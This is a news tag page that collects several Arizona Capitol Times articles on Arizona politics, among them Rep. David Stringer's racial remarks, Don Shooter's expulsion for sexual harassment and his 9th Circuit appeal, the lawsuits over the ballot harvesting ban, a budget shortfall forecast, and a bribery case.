fbpx

Issue: Don Shooter

2nd straight year of calls for a lawmaker’s ouster

Rep. David Stringer, R-Prescott, answers questions Wednesday about his comments which were interpreted by some as racist. Stringer said he was not a racist but simply was detailing his views on the effects of rapid immigration on the country. With him is the Rev. Jarrett Maupin who agreed to let Stringer explain his comments to leaders of the African-American community in Phoenix. PHOTO BY HOWARD FISCHER/CAPITOL MEDIA SERVICES
Rep. David Stringer, R-Prescott, answers questions Wednesday about his comments which were interpreted by some as racist. Stringer said he was not a racist but simply was detailing his views on the effects of rapid immigration on the country. With him is the Rev. Jarrett Maupin who agreed to let Stringer explain his comments to leaders of the African-American community in Phoenix. PHOTO BY HOWARD FISCHER/CAPITOL MEDIA SERVICES

For the second year in a row, the House hovers on the edge of moral turmoil and the potential ouster of a member.

Twice this year, Rep. David Stringer, R-Prescott, has been recorded making inflammatory comments about race and immigration, and stories of private comments he made away from cameras and recording devices have come to light.

In June, he lamented that there aren’t “enough white kids to go around” in Arizona’s public schools.

In November, he said African Americans “don’t blend in.”

Now he faces numerous calls for his resignation, including from prominent members of his own party, and suggestions that he be recalled or expelled from the House if he refuses.

The controversial episode has parallels to the lead up to the 2018 legislative session.

In November 2017, the Arizona Capitol Times reported on a series of sexual harassment accusations made against then-Rep. Don Shooter, R-Yuma. Soon after, he was suspended from his duties as chairman of the House Appropriations Committee amid calls for him to leave the Legislature altogether.

Shooter wouldn’t quit, and ultimately he was expelled February 1 by his fellow House members by a 56-3 vote.

Unsurprisingly, Shooter was among the three who voted against the motion. So was Stringer, who lamented on the House floor the process that had led his colleagues to that point.

“I must vote no,” Stringer said that day. “And I hope that this procedure is never followed again. I would hate to be a victim, I would hate for any of you to be subject to this kind of a process.”

Stringer’s sin differs from Shooter, whose expulsion stemmed from graphic sexual comments he made toward women and men, including lobbyists and his fellow lawmakers. Investigators hired by the House also determined his actions, including lewd hand gestures and notes left for a fellow lawmaker, created a hostile work environment in violation of House policies.

Although Stringer’s words weren’t sexual or graphic, they have also had an impact on his colleagues and constituents, leading some to believe he simply cannot be an effective lawmaker anymore.

Rep. Rusty Bowers, R-Mesa. (Photo by Paulina Pineda/Special for Arizona Capitol Times.
Rep. Rusty Bowers, R-Mesa (Photo by Paulina Pineda/Special for Arizona Capitol Times.

Swift action

House Speaker-elect Rusty Bowers, R-Mesa, was quick to take action after the Phoenix New Times reported on Stringer’s latest comments on November 30.

In a written statement, Bowers said the comments were “vile” and had personally offended him. He asked Stringer to resign as chair of the House Sentencing and Recidivism Reform Committee that day and removed him entirely from the committee Stringer had fought for years to create.

Bowers has since dissolved the reform committee, and the issues that would have gone before it will be absorbed into the House Judiciary Committee, from which Stringer was also removed. Bowers additionally stripped Stringer of his seat on the chamber’s Education Committee, though he remains on the Government Committee.

Not everyone has been satisfied by the punishment, but Bowers told the Capitol Times he believes he has sanctioned Stringer appropriately and will go no further.

“The Constitution permits the Legislature to expel a member for their behavior but not for their beliefs or views, however repugnant they may be,” he said.

Instead, Bowers will leave the decision up to the voters of Legislative District 1, who just a month ago overwhelmingly re-elected Stringer. They could now choose to launch a recall effort against the lawmaker five days after he is sworn into office.

“That’s up to the people of District One,” Bowers said. “It sounds like they’re plenty upset and that that’s a course that they could take.”

On December 6, the newly elected House Democratic leadership – Reps. Charlene Fernandez, Randy Friese, Reginald Bolding and Athena Salman – sent a letter to Bowers saying he had not gone far enough. They agreed with his “well-reasoned rationale” for removing Stringer from three of his committee assignments, but they argued the same logic must apply to his remaining seat.

Additionally, they asked that Bowers call for a vote to censure Stringer if he does not resign before session begins on January 14.

“In November, Arizona voters chose to send one of the most diverse groups of legislators that we’ve ever seen (to the Capitol),” the Democrats wrote. “What our caucus celebrates as a symbol of our country’s unique strength and progress, Rep. David Stringer clearly sees as an existential threat to the American way of life.”

Friese, the incoming assistant minority leader, said while Stringer has already proven himself an ineffective legislator to his district, it’s too early to determine if he’ll be a drag on the entire body of the House.

If that turns out to be so, Democrats could make the case that Stringer is creating a hostile work environment in violation of House policy, Friese said.

“I think that there will be a hyper focus on how Mr. Stringer interacts with the body… as a whole, and what environment does that create,” he said.

Emboldened

Stringer’s views may have attracted widespread attention this year, but they came as no surprise to some in Yavapai County who’ve known the Republican for years.

Long before either recorded episode, Stringer reportedly made numerous other disparaging remarks that left the impression he was, as Prescott City Councilwoman Alexa Scholl put it, “morally flawed” and unfit for office.

Jonathan Conant, treasurer of the Yavapai County Bar Association and a Republican in LD1, said Stringer has been more careful with his words in the past, but he’s been emboldened the longer he’s got away with it.

“I feel dirty when I’m around him,” Conant said, describing Stringer as a man who is easily frustrated and quick to lash out with “morally reprehensible” speech.

He recalled several conversations with Stringer that suggested the lawmaker holds anti-Semitic views in addition to the disparaging beliefs he has expressed about people of color.

In July 2017, Conant’s wife Ali was a teacher and felt personally attacked when a conversation with Stringer about education turned “scary.”

She wrote about the interaction in a Facebook post, recalling someone present during the conversation who told Stringer he didn’t know who he was speaking to.


“At this point Representative Stringer looked directly at me and said, ‘I know exactly who I am speaking to,’” she wrote. “‘I see the San Francisco t-shirt with the peace sign and that… that…. that…Star of David. Oh, I know exactly who I am speaking to. She’s advertising it!’”

Even if giving Stringer the benefit of the doubt, Conant said Stringer’s choice of words tells a different story.

“He could be doing the best thing for the state, but if the appearance is not that, he’s not serving the state,” Conant said.

What’s next?

Following Stringer’s comments about “white kids” in Arizona schools in June, Gov. Doug Ducey called on Stringer to resign, arguing his words disqualified him from serving in the Legislature. It’s an opinion Ducey reiterated after Stringer’s latest episode.

AZGOP Chairman Jonathan Lines has also sought Stringer’s resignation, and the Prescott City Council voted on December 4 to pass a resolution adding to the demands that he step down.

Despite the outcry, Stringer has given no indication he’ll yield.

Over the summer, he defended his June comments as an honest attempt to discuss race, and appeared at Lo-Lo’s Chicken and Waffles to deliver an apology some found lacking. Since the Phoenix New Times report on his latest comments, Stringer has made no public statements, nor has he returned multiple requests for comment.

His fate may rest in the hands of his constituents, as Bowers and some Republicans balk at further punishment.

Rep. T.J. Shope, R-Coolidge, said he doesn’t see representatives going so far as to expel Stringer. While Shope said he personally has no love for the lawmaker, expelling Stringer for what amounts to his beliefs is a step too far for most lawmakers.

“I don’t think he deserves to be there,” Shope said. “But by God, the people in his district knew what he said a few months ago, and they sent him back.”

“Voters can be wrong,” Conant said.

The results may be different if given another chance, Conant said. That could happen if Stringer were ousted, be it by recall, impeachment or expulsion. Conant suggested that Stringer could be impeached under Article VIII of the Arizona Constitution, arguing his conduct constitutes malfeasance. And a petition is being circulated among attorneys in Yavapai County to ask the House to expel Stringer.

“People are tired. Do something once, shame on you. Do something twice, shame on me,” Conant said.

Pressure to do something may mount as more reporting on Stringer emerges. He has already been caught on tape twice, Shope noted, and more could come.

“Don’t you gotta think there are other recordings of Stringer that are going to come out? This is just going to be a slow leak that continues,” Shope said. “Do we get to the point where somebody’s personal feelings on race are an expellable offense? I don’t know.”

Ben Giles contributed to this report.

9th Circuit hears ousted lawmaker’s appeal

Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)
Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)

Attorneys for the state and a former House speaker told a federal court Tuesday that the legislature is free to remove members for any reason at all — including political affiliation and race — as long as they can muster a two-thirds vote.

Steve Tully said there was nothing wrong with the procedures used by J.D. Mesnard, who was speaker in 2018, to investigate then-Rep. Don Shooter and eventually have a vote that resulted in his ouster.

J.D. Mesnard
J.D. Mesnard

Tully, himself a former lawmaker, did not specifically dispute Shooter’s claim that Mesnard ignored decades of precedent which normally allow an accused lawmaker a formal hearing before the Ethics Committee where evidence can be presented and witnesses can be questioned. Nor did he address Shooter allegations that he was being charged with violating a sexual harassment policy that did not yet exist or that Mesnard removed certain information from an investigative report that was given to his fellow lawmakers.

Instead, he told the three-judge panel that lawmakers were free to vote to eject Shooter anyway.

“The right to expel members is granted to the House by the Arizona Constitution,” Tully said, with the only requirement being able to get at least 40 of the 60 members to go along.

That claim drew a skeptical response from Judge Marsha Berzon, a President Clinton appointee. She asked whether if the Democrats controlled most of the seats they could simply decide to remove all Republicans.

“My answer is, yes,” Tully responded. “If they’re at 90 percent (of the House) and they filed a motion to expel a member for being what they thought was disruptive, and they got the votes.”

Berzon said that opens the door to the majority deciding that the minority is being disruptive “because they get up and are making speeches” about why the majority is wrong.

But Tully stuck to his position. And, more to the point in this case, he told the judges that members of the House — including his client — cannot be sued for damages by the expelled member.

It wasn’t just Tully making that argument.

Jeremy Horn, representing the state, said the House can discipline anyone who violates its rules, “whatever the House decides its rules are.”

Berzon questioned that logic.

Marsha Berzon
Marsha Berzon

“If you just let the body expel whoever it wants, with absolutely no oversight by anybody, you could completely undermine democracy?” she asked.

Horn said there is no way for courts to intercede and decide what is proper.

That drew questions from Judge Lawrence VanDyke, a President Trump appointee, about whether lawmakers could decide to remove all black legislators simply because they didn’t want them there.

“It very well may be,” Horn conceded.

What the appellate court ultimately rules will affect more than whether Shooter’s rights were violated and he is entitled to some damages, as reinstatement is not an option. It could set a federal court precedent that gives legislators carte blanche to oust members for whatever reason they want if they can get that two-thirds vote.

The House voted 56-3 in early 2018 to oust Shooter after an investigative report found there was “credible evidence” that he had sexually harassed other lawmakers, lobbyists and others. Since that time, Shooter has been trying to get courts to conclude that his rights were violated and that Mesnard and Kirk Adams, at the time an aide to Gov. Doug Ducey, had defamed him.

Shooter won a small victory last week in Maricopa County Superior Court as Judge Theodore Campagnolo ruled that Shooter is entitled to sue Mesnard over alleged defamatory comments.

The judge acknowledged that elected officials generally have absolute immunity for comments they make during formal sessions.

But Campagnolo said the issues in this case involve claims that Mesnard altered a report about Shooter’s conduct prepared by an outside law firm before it was given to House members and the public. And Shooter also contends that the press release Mesnard issued contained untrue and defamatory statements that went beyond merely stating the facts.

That, Campagnolo said, requires him to reject a bid by Mesnard to simply throw out the case.

The new ruling, however, is not a total victory for Shooter — and not only because all this does is give him a chance to try to make his case.

The judge threw out separate defamation claims made against Adams. Campagnolo said there is nothing in Shooter’s legal briefs containing any specific allegations that Adams had defamed him.

He also said Shooter, as a public figure, had no right to claim invasion of his privacy.

And Campagnolo reaffirmed an earlier decision that the Yuma Republican cannot claim in state courts that he was denied due process in the way he was removed from the House in early 2018. The judge said courts cannot second-guess the procedures used to oust Shooter.

But that claim lives on at the 9th Circuit which led to Tuesday’s hearing.

Philip Byler, Shooter’s attorney, told a three-judge panel of the court that the normal procedure used in the House to discipline or oust a lawmaker involves a hearing before the Ethics Committee. That provides an opportunity for the legislator to not only present evidence but also to question witnesses.

On top of that, Byler said Shooter’s rights were violated because he was charged with violating a “zero tolerance” standard for sexual harassment, a policy that did not exist at the time. And he charged that Mesnard had the independent investigators he hired “omit material and exculpatory testimony and evidence,” including allegations against then-Rep. Michelle Ugenti-Rita, R-Scottsdale, who was one of the women who complained about his conduct.

The appellate judges did not indicate when they will rule.

9th Circuit upholds ‘ballot harvesting’ ban

Wooden gavel

Calling the lack of evidence of fraud irrelevant, a divided federal appeals court on Wednesday upheld Arizona’s ban on “ballot harvesting.”

In a 2-1 ruling, the judges acknowledged arguments by the state and national Democratic parties that the Republican-controlled Legislature adopted HB 2023, the 2016 law, without any proof that anyone who was collecting ballots had, in fact, tampered with them. And the majority noted there are other state laws which have, for years, made it illegal to tamper with ballots.

But 9th U.S. Circuit Court of Appeals Judge Sandra Ikuta, writing for the majority, said none of that is required for lawmakers to do what they did.

“A state need not show specific local evidence of fraud in order to justify preventive measures,” she wrote for herself and Judge Carlos Bea, both nominees of President George W. Bush. She said courts are entitled to uphold such laws if they serve the state’s interest in maintaining public confidence in the integrity of the electoral process, “even in the absence of any evidence that the public’s confidence has been undermined.”

Ikuta also said there was no evidence that the Republican lawmakers who approved the plan acted with the intent of discriminating against minorities.

She did say there was reason to believe that the change was approved, at least in part, by “partisan considerations.” But Ikuta said that fact does not make the law unconstitutional.

In the same ruling, the majority upheld another election practice which says that if people show up at the wrong polling place, their votes won’t be counted, even those for which a person would otherwise be entitled to vote had they been in the right place.

For example, a voter who should have been in Tempe but ended up in Glendale would not have votes counted for school board. But the Democrats argued that person’s votes for statewide and county offices should count.

Ikuta said these rules impose only minimal burdens and do not disenfranchise voters.

But the 9th Circuit’s chief judge, Sidney Thomas, a President Clinton nominee, said his colleagues are ignoring the evidence presented.

“Arizona’s policy of wholly discarding — rather than partially counting — votes cast out-of-precinct has a disproportionate effect on racial and ethnic minority groups,” he wrote, unconstitutionally burdening the right to vote. And Thomas said the data produced by Democrats on the ban on ballot harvesting, complete with penalties of a year in prison and a $150,000 fine, “serves no purpose aside from making voting more difficult, and keeping more African American, Hispanic, and Native American voters from the polls than white voters.”

He pointed to claims by Sen. Don Shooter, R-Yuma, that ballot collectors steam open envelopes and decide whether to submit them based on what was inside. Even U.S. District Court Judge Douglas Rayes, who first reviewed the complaint, found that “demonstrably false,” with the trial judge saying Shooter’s views were “implicitly informed by racial biases.”

“And if Sen. Shooter was insincere, he purposely distorted facts in order to prevent Hispanics — who generally preferred his opponent — from voting,” Thomas said.

And then there was a soundless video produced by A.J. LaFaro, who was chairman of the Maricopa County Republican Party, which Thomas said showed nothing illegal but was accompanied by a voice-over from LaFaro saying the man was acting to stuff the ballot box.

Wednesday’s ruling is unlikely to be the last word on the issue.

The split decision in this case virtually guarantees that the Democrats will ask the full 9th Circuit to look at the issue.

And early next month the same three-judge panel of the appellate court will consider a separate challenge to the ballot harvesting law by Democratic activist Rivko Knox.

She contends the state law is preempted by federal statutes which specifically allow for any individual to deliver mail as long as it is done for free. And Knox said that once early ballots are in their envelopes they are mail.

That argument was rejected by Rayes, the same judge who threw out the challenge to the law by Democrats in this case.

What’s behind “ballot harvesting” is the fact that most Arizonans receive early ballots. They can be filled out and mailed back or delivered to polling places on election day.

But the law requires mailed ballots to be delivered by election day. So anything dropped in a mailbox within a week or so may not get counted.

Political and civic groups have in recent years gone into neighborhoods, asking people if they have returned their ballots and, if not, offered to take it to polling places on their behalf.

Republicans argued that presents too many opportunities for mischief, though they could not cite a single confirmed incident where a ballot was altered or did not get delivered.

Ikuta said the U.S. Constitution gives states the authority and obligation to manage the election process. And she said courts, when considering whether a regulation is permissible, has to balance the state’s interests against the burdens placed on someone challenging it.

More to the point, Ikuta said if the regulations are reasonable, courts will generally uphold them as long as they were not enacted for discriminatory reasons.

In this case, she said, Rayes found that the evidence presented showed that voters who have taken advantage of ballot collection services in the past “have done so out of convenience or personal preference,” not because of any hurdles placed in their path by Arizona law.

Ikuta also said Arizona has options for voters who may have difficulty getting to polling places, including required time off for workers and exceptions to the ballot-harvesting law allowing collection by family members, household members and caregivers.

 

 

Accuser smeared in wake of lawmaker’s expulsion

Rep. Michelle Ugenti-Rita, R-Scottsdale, stands at her desk on the floor of the Arizona House of Representatives, before a vote to expel Rep. Don Shooter, R-Yuma. Ugenti-Rita’s allegations of sexual harassment by Shooter led a host of women and one man to air similar allegations against him. (Photo by Katie Campbell/Arizona Capitol Times)
Rep. Michelle Ugenti-Rita, R-Scottsdale, stands at her desk on the floor of the Arizona House of Representatives, before a vote to expel Rep. Don Shooter, R-Yuma. Ugenti-Rita’s allegations of sexual harassment by Shooter led a host of women and one man to air similar allegations against him. (Photo by Katie Campbell/Arizona Capitol Times)

Despite having cast a historical vote to expel Yuma Republican Don Shooter on February 1, some lawmakers in the Arizona House of Representatives tried to put one of his victims — a colleague of theirs — on trial.

Shooter was expelled by a vote of 56-3, including his own no vote, making him one of only three lawmakers and the first Republican to be ousted from the state Legislature.

The vote came after an investigation found he had sexually harassed women at the Capitol for years, including Rep. Michelle Ugenti-Rita, R-Scottsdale.

She was just the first woman to publicly accuse Shooter of harassing her during his time at the Legislature, and investigators later determined several incidents she recounted had violated the House’s sexual harassment policy.

Yet before and after Shooter’s departure, some of her colleagues became fixated on Ugenti-Rita and sought to expose some of her skeletons.

Shooter inflamed suspicion toward her in his final hours at the Legislature through a letter he sent to his colleagues in which he implied Ugenti-Rita was also guilty of sexual harassment. He also filed a notice of claim in which he said his expulsion was the result of a greater scheme against him and Ugenti-Rita was part of it.

House Speaker J.D. Mesnard rejected Shooter’s attempts to shift the focus away from his actions and onto others, including himself, but especially Ugenti-Rita.

She may have been the catalyst for others to come forward with their own accounts of his behavior, Mesnard said, but the problem with Shooter was bigger than her.

“There was a slew of woman that came forward, and it wasn’t a small number,” Mesnard said. “It wasn’t an incidental number of accusations. But he’s making it all about Ugenti-Rita.”

Neither Ugenti-Rita nor her attorney Kurt Altman immediately returned requests for comment.

After his expulsion, Shooter’s attorney Kraig Marton filed a notice of claim, a precursor to a lawsuit against the state, alleging Ugenti-Rita had been a pawn for the Ninth Floor.

He claimed he’d fallen victim to a scheme orchestrated by Mesnard and Gov. Doug Ducey’s Chief of Staff Kirk Adams to prevent him from uncovering “serious issues of malfeasance in state government contracts.”

Mesnard has denied the allegations.

Shooter gathered his allegations and his evidence into a binder he referenced in his final speech on the floor.

“Let the facts speak for themselves,” he said. “There’s booklets in my office if you want to know what prompted this thing.”

He did not apologize for his behavior, but said he “took it (his colleagues’ judgment) like a man.”

And then he dropped his microphone and walked off the floor before the vote was over.

Even before his claims of an underlying plot against him, he had raised doubts in some lawmakers’ minds about Ugenti-Rita’s role in the investigation.

Immediately after she made her first allegations, Shooter issued an apologetic statement, but retracted it and instead attacked his accuser later that same evening.

He blamed the trouble between them on “how she has conducted herself personally, with staff and later with legislation,” including “a very public affair,” adding she was lying.

The affair quickly became the subject of a letter signed by a dozen Republican representatives calling for both Ugenti-Rita and House Minority Leader Rebecca Rios, D-Phoenix, to be removed from their leadership roles.

Whereas Shooter was accused of sexual harassment–and found to have “engaged in a pattern of unwelcome and hostile conduct” –the claims against Ugenti-Rita and Rios were largely limited to alleged affairs they had with House staffers.

In Ugenti-Rita’s case, she was also accused of making “inappropriate sexual comments made and recorded during a hearing,” an accusation first leveled against her by Shooter as he lashed out at her for naming him as one of her harassers.

And in the letter he sent to lawmakers on the morning of the vote, he claimed investigators had sought to cover up or give less weight to the affair and claims that the staffer shared sexually explicit communications of her with other House employees.

Shooter said a young woman with whom the messages were shared met with investigators to describe the “humiliating experiences.”

“Yet, inexplicably, the pattern of outrageous conduct that she described, including comments allegedly made directly to her by her elected boss, as well as being subjected to her boss’ exposed genitalia, were not detailed in the report,” Shooter wrote.

Former House staffer Brian Townsend told investigators he shared “unsolicited, sexually explicit communications” with the intent to “hurt and humiliate” Ugenti-Rita, to whom he was engaged.

Rep. Anthony Kern, R-Glendale, voted to expel Shooter but latched onto Townsend’s statements, alleging his actions were potentially “unlawful acts” and demanding further investigation by local law enforcement agencies under Arizona’s revenge porn law.

Shooter and other third parties had told investigators about the messages, adding that Ugenti-Rita may have known about them or even participated in the “unsolicited, unwelcome, and harassing contact.”

Ugenti-Rita “unequivocally denied” that, and investigators deemed her shocked denial credible.

In January, the House released hundreds of previously withheld pages of documents from the investigation. But the documents still omitted information related to the messages Townsend shared.

Both Kern and Rep. Maria Syms, R-Paradise Valley, told the Capitol Times that all the records should be released, even those with explicit material.

“The taxpayers paid for that report. Period. So those are public records and those public records need to be released,” Kern said in March.

What has been released detailed Shooter’s inappropriate behavior toward Ugenti-Rita and eight others in an environment that allowed him to continue.

Ugenti-Rita alone made 11 allegations against him, all of which occurred after — as even Shooter admitted to investigators — she had made it clear she was not interested in his friendship.

CORRECTION: This article previously misidentified Don Shooter’s attorney. He is Kraig Marton. 

Alleged revenge-porn violation against former House staffer depends on time crime was committed

Rep. Michelle Ugenti-Rita, R-Scottsdale, stands at her desk on the floor of the Arizona House of Representatives, before a vote to expel Rep. Don Shooter, R-Yuma. Ugenti-Rita’s allegations of sexual harassment by Shooter led a host of women and one man to air similar allegations against him. (Photo by Katie Campbell/Arizona Capitol Times)
Rep. Michelle Ugenti-Rita, R-Scottsdale, stands at her desk on the floor of the Arizona House of Representatives, before a vote to expel Rep. Don Shooter, R-Yuma. Ugenti-Rita’s allegations of sexual harassment by Shooter led a host of women and one man to air similar allegations against him. (Photo by Katie Campbell/Arizona Capitol Times)

Rep. Anthony Kern wants prosecutors to determine if a former legislative staffer violated Arizona law by sharing sexually explicit messages about Rep. Michelle Ugenti-Rita.

But whether the law was potentially violated depends on when the messages were sent.

Brian Townsend, a former House staffer who last worked as policy director in 2015, told attorneys investigating sexual harassment in the chamber that he shared “unsolicited, sexually explicit communications” in a manner Townsend said was intended to “hurt and humiliate” Ugenti-Rita, to whom he is now engaged.

Rep. Anthony Kern (R-Glendale)
Rep. Anthony Kern (R-Glendale)

Kern, R-Glendale, drew attention to Townsend’s testimony while voting to expel Rep. Don Shooter, a Yuma Republican who’s pattern of sexually harassing behavior was the focus of the investigation.

The report concluded that “credible evidence supports the finding that Mr. Townsend acted alone and without a member of this body’s knowledge.”

“I will be drafting a letter to the Attorney General and the Maricopa County Attorney in response to an alleged unwelcome, harassing and offensive communication by a Mr. Brian Townsend,” Kern said.

He later added that Townsend’s actions were potentially “unlawful acts, and I want those thoroughly investigated.”

A House spokesman said Kern is drafting the letters and expects they’ll be sent on Monday.

It’s a crime to share nude photos of another person without their consent if the intent is to harm, harass or intimidate that person.

But the law declaring that crime a felony was not adopted until 2016. That year, the Legislature passed HB 2001, sponsored by House Speaker J.D. Mesnard, R-Chandler, with an emergency clause, meaning the law went into effect the moment Gov. Doug Ducey signed the bill on March 11, 2016.

Ryan Anderson, a spokesman for Attorney General Mark Brnovich, said the date the messages were sent and the date the law took effect would be relevant to any law enforcement agency who may follow up on Kern’s request.

“We are aware of the allegations in the investigative report concerning the electronic transmission of sexually explicit communications reportedly intended to hurt and humiliate a state lawmaker,” Anderson wrote in an email. “Arizona law is clearly designed to protect victims who have a right to expect privacy. We can’t comment further.”

Also at question is whether a prosecutor would pursue charges against Townsend without the consent of Ugenti-Rita.

It’s too early to determine if prosecutors have something to act on, said Amanda Jacinto, a spokeswoman for Maricopa County Attorney Bill Montgomery. A law enforcement agency with jurisdiction — perhaps the Department of Public Safety — would first have to investigate the allegations.
As for investigators, a victim’s participation is helpful, but not necessary.

“As long a you’re able to establish a crime did happen, you don’t need a victim to bring the crime forward to authorities,” Jacinto said.

Attorneys hired for the House investigation were told by multiple third parties, and Shooter, about the explicit messages, and that Ugenti-Rita may have known about them or perhaps participated in sharing the messages. There was no doubt that the “unsolicited, unwelcome, and harassing contact” occurred, according to the report, so it was up to investigators to determine whether Ugenti-Rita was involved.

Ugenti-Rita “unequivocally denied” knowledge of the messages, and based in part on her “genuine surprise and shock,” investigators found her denial credible.

The investigators had previously criticized Townsend as an uncredible witness in their investigation, but found his response when confronted with the allegations consistent and credible. Townsend took “complete ownership for the alleged conduct,” and broke down trembling and crying in front of investigators several times.

“Mr. Townsend immediately became emotional, expressing that he knew the discovery of his actions would be the ‘death knell’ in his career and relationship with Ms. Ugenti-Rita,” investigators wrote.

“The independent, credible evidence supports only a finding that Mr. Townsend acted alone and without Ms. Ugenti-Rita’s knowledge or participation when committing the egregious and potentially unlawful acts at issue,” investigators later added.

Arizona Democratic Party seeks to overturn ‘ballot harvesting’ ban

The Arizona Democratic Party goes to federal court today in a bid to overturn a ban on “ballot harvesting” and ensure that ballots cast in the wrong precinct are counted anyway.

Attorney Bruce Spiva contends that the Republican-controlled Legislature acted illegally last year in making it a felony for an individual to take anyone else’s early ballot to a polling place. Spiva said he will present evidence that the measure will cause undue harm to minorities and other groups.

But Sara Agne, attorney for the Arizona Republican Party, which is defending the law, will argue that lawmakers are entitled to put procedures in place designed to prevent fraud.

Spiva could have an uphill battle.

U.S. District Court Judge Douglas Rayes last year refused to stop the state from enforcing the law while its legal merits are being debated. He concluded there was no “quantitative evidence” to show minorities were more likely to be harmed than anyone else.

The full 9th U.S. Circuit Court of Appeals, which heard arguments last year in San Francisco, thought otherwise and agreed to enjoin enforcement. But that decision was stayed by the U.S. Supreme Court, with the justices concluding they did not want to make such a radical change so close to last year’s election.

In the meantime, the appellate court sent the case back to Rayes to take a closer look. Rayes now has set aside 10 days to hear evidence.

The law criminalizes what had been a practice by civic and political groups of going out to see if people who had requested early ballots had remembered to return them by mail. If they had not, group members would offer to take it to the polling place themselves.

Now, such action could result in a presumptive one-year prison term and potential $150,000 fine.

There are exceptions. The law does not apply to family members, those living in the same household or certain caregivers who provide assistance to voters in various institutions.

The legislation is based on claims of fraud – or at least the potential for that.

Rep. Don Shooter (R-Yuma)
Rep. Don Shooter (R-Yuma)

Rep. Don Shooter, R-Yuma, a member of the Senate in 2016, said there are “a lot of shenanigans… down in my neck of the woods.”

“I’ve been told the way they do it is they collect the ballots early. They put them in a microwave with a bowl of water, steam them open, [and] take the ballots,” he said during debate. “If they like the way it’’s voted they put them back in. If they don’t like the way it’s voted, they lose the ballot.”

But Shooter, who said he passed the tip on to state election officials, acknowledged nothing ever came of it.

Spiva told Capitol Media Services he intends to prove otherwise.

“There’s no evidence of fraud in the legislative record,” he said. “And there’s no evidence anywhere.”

But Republicans contend they do not need proof of actual fraud to justify the law. Agne said the statute is justified because it helps protect against election fraud.

“It’s in the state’s interest to have that chain of custody information,” she told the appellate court during last year’s hearing. “That’s one of the reasons the state has implemented this sensible election regulation.”

Agne also said a majority of other states have similar laws, though only a handful make it a felony like Arizona.

The lack of any actual evidence was not only an issue in court. It also came up when the measure was first debated in the House.

House Speaker J.D. Mesnard (R-Chandler)
House Speaker J.D. Mesnard (R-Chandler)

Rep. J.D. Mesnard, R-Chandler, who is now House speaker, said it is irrelevant whether there is fraud or not.

“What is indisputable is that many people believe it’s happening,” he said in voting for the measure. “And I think that matters.”

Spiva has one other argument. He said the evidence will show the Arizona law has a disproportionate impact on minorities, meaning it runs afoul of federal voting rights laws.

His other legal challenge is to a law that governs what happens when people show up at polling places on Election Day and their names are not on the list of those registered to vote there.

If the would-be voter is simply at the wrong place, poll workers can – but are not required to – direct them to where they need to go. Voters who insist they are registered and entitled to vote there are given a “provisional ballot.”

After other ballots are counted, county election officials go through their records to see if that person was entitled to vote at that place. If not, the ballot is not counted.

Spiva contends this law disproportionately affects minorities. So, he wants Rayes to rule that counties must count any vote that the person was entitled to make had he or she gone to the proper polling place.

So, for example, a voter who should have been in Tempe but ended up in Glendale would not have votes counted for city elections or school boards. But under Spiva’s argument, that person’s vote would be counted for statewide offices like governor and U.S. senator.

Arizona Legislature’s budget analysts predict 2018 shortfall

The Arizona Legislature’s budget analysts on Thursday predicted a budget shortfall that could top $100 million in the current and coming year as the impact of corporate tax cuts continues to overwhelm increases in sales, insurance premium and personal income tax collections.

Chief budget analyst Richard Stavneak told economists and state officials who make up the Legislature’s Finance Advisory Committee that the shortfall will hit $104 million. That’s out of an expected $10 billion in spending for the budget year that begins next July 1. A panel of state lawmakers also attended the meeting.

Excluded from that projection is $90 million in current spending that is labeled one-time but appears to be an ongoing commitment by the Legislature and Gov. Doug Ducey, Stavneak said. That puts the expected shortfall next year close to $200 million if that spending isn’t cut. The revenue picture could also brighten, but signals are mixed, he said.

Phased-in corporate tax cuts enacted under former Gov. Jan Brewer in 2011 have cut more than $600 million in yearly revenue since 2014. Rep. Don Shooter, R-Yuma, said it may be time to revisit the corporate tax cuts and predicted a budget battle next year.

“It’s going to be a free-for-all. We’re back to the cutting, I don’t see any other way,” Shooter said. “It’s going to come down to who’s going to bleed the least, what’s going to be the least painful, I guess.”

Of the corporate tax cuts, Shooter said: “Maybe we should postpone them for a year or two until we get out of the woods.”

That’s unlikely to be a solution that will pass muster, though, because the 2017 tax year completes the four-year phase-in of the tax cuts. On top of that, Ducey spokesman Daniel Scarpinato all but ruled out any change.

“The governor does not believe in raising taxes and I think he’s made that very clear,” Scarpinato said Thursday, noting that Ducey’s priority is ensuring a competitive tax environment so companies expand in the state.

Scarpinato downplayed the analysis presented by Stavneak and his staff at the Joint Legislative Budget Committee, saying a small change in revenue or Medicaid caseloads could make a big difference in the bottom line. But he noted that the governor’s office has been warning for weeks of a tight budget year ahead and pledged that Ducey will present a balanced budget in January that will use any available cash to first boost education spending.

“K-12 education is going to continue to be at the top of the list,” he said.

Overall, state revenues for the 2017 budget year that ended June 30 came in $19 million below forecast, with sales and individual income tax ahead of projections and corporate income tax collections $52 million below forecast. This budget year’s overall revenue projections were revised downward, and corporate income tax collections are predicted to be the lowest since 1993.

Stavneak noted that another key part of state revenue also faces challenges, this time from Washington. The state collects more than $500 million a year in insurance premium taxes, more than 60 percent of it from health insurance providers. If the Trump Administration pushes through major changes in health insurance requirements, that revenue could drop significantly.

Array of Arizona politicians, lobbyists connected to bribery case

Former Arizona Corporation Commissioner Gary Pierce, with bottle, and wife Sherry Pierce, both of whom stand accused in a bribery scheme, leave U.S. District Court in Phoenix after their arraignment on June 7, 2017.
Former Arizona Corporation Commissioner Gary Pierce, with bottle, and wife Sherry Pierce, both of whom stand accused in a bribery scheme, leave U.S. District Court in Phoenix after their arraignment on June 7, 2017.

The bribery trial of a former regulator, a utility owner and a lobbyist has tentacles that stretch to many others in Arizona’s political universe – some more than others.

Take for example Corporation Commissioner Bob Burns, who has been interviewed by federal investigators on the case. He’s been described by defense attorneys as a “rogue commissioner” determined to “burn down the house at the Arizona Corporation Commission.”

His wife, Gayle Burns, is portrayed in defense motions as a “mother figure” to Kelly Norton, the government’s star witness and ex-wife of Jim Norton, a lobbyist who has been indicted.

And then there is former Secretary of State and former Senate President Ken Bennett.

Bennett told the Arizona Capitol Times he was asked to be a character witness for Sherry Pierce, who was also indicted alongside her husband, former Corporation Commissioner Gary Pierce.

